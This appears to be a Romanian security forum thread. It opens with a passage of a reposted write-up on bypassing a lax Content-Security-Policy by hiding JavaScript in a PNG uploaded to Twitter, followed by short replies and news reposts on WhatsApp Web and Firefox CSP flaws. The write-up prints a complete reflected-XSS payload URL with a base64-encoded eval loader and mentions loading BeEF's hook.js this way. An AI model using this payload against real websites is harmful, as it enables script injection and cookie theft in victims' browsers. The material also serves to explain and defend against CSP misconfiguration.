http://localhost:8111/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22 Sending the whole payload I got an error executing getImageData with the message "The canvas has been tainted by cross-origin data". By reading the documentation, it seems that my browser intentionally blocks methods like getImageData when an image is loaded cross-origin. It seems that I just need to inject the crossorigin attribute: HTML provides a crossorigin attribute for images that, in combination with an appropriate CORS header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin. Because the pixels in a canvas's bitmap can come from a variety of sources, including images or videos retrieved from other hosts, it's inevitable that security problems may arise. As soon as you draw into a canvas any data that was loaded from another origin without CORS approval, the canvas becomes tainted. A tainted canvas is one which is no longer considered secure, and any attempts to retrieve image data back from the canvas will cause an exception to be thrown. If the source of the foreign content is an HTML <img> or SVG <svg> element, attempting to retrieve the contents of the canvas isn't allowed. Fortunately, Twitter adds an Access-Control-Allow-Origin: * to all uploaded images 🥳 and it means that I just need to inject the crossorigin attribute to the IMG tag with the value "anonymous" to make it works. By injecting the crossorigin attribute with value "anonymous" all works as expected and I've successfully executed the function alert(document.cookie) as shown in the screenshot below: alert(document.cookie) from Twitter image This is the whole payload I used: /xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22 Convert BeEF hook.js This is a test converting the BeEF's hook.js into a PNG image. BeEF is a Browser Exploitation Framework, a penetration testing tool that focuses on the web browser (you'll find more information on BeEF's website). I first base64 encoded it with curl -s 'http://localhost:3000/hook.js' | base64 -w0 and then I created the image as shown before. hook.js to PNG inject hook.js from PNG image hook received from vulnerable webapp Conclusion I was able to bypass the Content-Security-Policy of a website loading an external JavaScript library hidden in a PNG image uploaded on Twitter. That was possible because the CSP was too lax and because Twitter sends a wildcard access origin response header to all uploaded images. I guess that the same technique works well on many other social networks, that's why you shouldn’t ever use "unsafe-inline" and "unsafe-eval" directives on your CSP. If you need help with your CSP, here you can find a useful online tool to check your policy and get good advices on how to fix it. References https://hackernoon.com/host-a-web-app-on-twitter-in-a-single-tweet-9aed28bdb350 https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin https://csp-evaluator.withgoogle.com/ Source: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Nu cred ca mai ai vreo sansa sa iti recuperezi banii... Data viitoare verifica daca site-ul este unul legitim sau nu... Bafta.

Nu vreau sa fiu hater... dar cam putin ti-au dat pe raportul pe care l-ai trimis. Era exploatabil acel XSS ? Oricum, felicitari.

A cybersecurity researcher today disclosed technical details of multiple high severity vulnerabilities he discovered in WhatsApp, which, if exploited, could have allowed remote attackers to compromise the security of billions of users in different ways. When combined together, the reported issues could have even enabled hackers to remotely steal files from the Windows or Mac computer of a victim using the WhatsApp desktop app by merely sending a specially crafted message. Discovered by PerimeterX researcher Gal Weizman and tracked as CVE-2019-18426, the flaws specifically resided in WhatsApp Web, a browser version of the world's most popular messaging application that also powers its Electron-based cross-platform apps for desktop operating systems. In a blog post published today, Weizman revealed that WhatsApp Web was vulnerable to a potentially dangerous open-redirect flaw that led to persistent cross-site scripting attacks, which could have been triggered by sending a specially crafted message to the targeted WhatsApp users. In the case when an unsuspecting victim views the malicious message over the browser, the flaw could have allowed attackers to execute arbitrary code in the context of WhatsApp's web domain. Whereas, when viewed through the vulnerable desktop application, the malicious code runs on the recipients' systems in the context of the vulnerable application. Moreover, the misconfigured content security policy on the WhatsApp web domain also allowed the researcher to load XSS payloads of any length using an iframe from a separate attacker-controlled website on the Internet. "If the CSP rules were well configured, the power gained by this XSS would have been much smaller. Being able to bypass the CSP configuration allows an attacker to steal valuable information from the victim, load external payloads easily, and much more," the researcher said. As shown in the screenshot above, Weizman demonstrated the remote file read attack over WhatsApp by accessing the content of the hosts file from a victim's computer. Besides this, the open-redirect flaw could have had also been used to manipulate URL banners, a preview of the domain WhatsApp displays to the recipients when they receive a message containing links, and trick users into falling for phishing attacks. Weizman responsibly reported these issues to the Facebook security team last year, who then patched the flaws, released an updated version of its desktop application, and also rewarded Weizman with $12,500 under the company's bug bounty program. Source: https://thehackernews.com/2020/02/hack-whatsapp-web.html

@0xStrait - Nu.

XSS Reflected - api.office.com = 500$. XSS Reflected - [*].live.com = 1.200$ recompensa. Aceasta problema necesita interactiunea utilizatorului.

Am intrat doar sa las un comentariu si sa spun ca am ras bine. 😂

A technique to evade Content Security Policy (CSP) leaves surfers using the latest version of Firefox vulnerable to cross-site scripting (XSS) exploits. Researcher Matheus Vrech uncovered a full-blown CSP bypass in the latest version of Mozilla’s open source web browser that relies on using an object tag attached to a data attribute that points to a JavaScript URL. The trick allows potentially malicious content to bypass the CSP directive that would normally prevent such objects from being loaded. Vrech developed proof-of-concept code that shows the trick working in the current version of Firefox (version 69). The Daily Swig was able to confirm that the exploit worked. The latest beta versions of Firefox are not vulnerable, as Vrech notes. Chrome, Safari, and Edge are unaffected. If left unaddressed, the bug could make it easier to execute certain XSS attacks that would otherwise be foiled by CSP. The Daily Swig has invited Mozilla to comment on Vrech’s find, which he is hoping will earn recognition under the software developer’s bug bounty program. The researcher told The Daily Swig about how he came across the vulnerability. “I was playing ctf [capture the flag] trying to bypass a CSP without object-src CSP rule and testing some payloads I found this non intended (by anyone) way,” he explained. “About the impact: everyone that was stuck in a bug bounty XSS due to CSP restrictions should have reported it by this time.” Content Security Policy is a technology set by websites and used by browsers that can block external resources and prevent XSS attacks. PortSwigger researcher Gareth Heyes discussed this and other aspect of browser security at OWASP’s flagship European event late last month. Sursa: https://portswigger.net/daily-swig/firefox-vulnerable-to-trivial-csp-bypass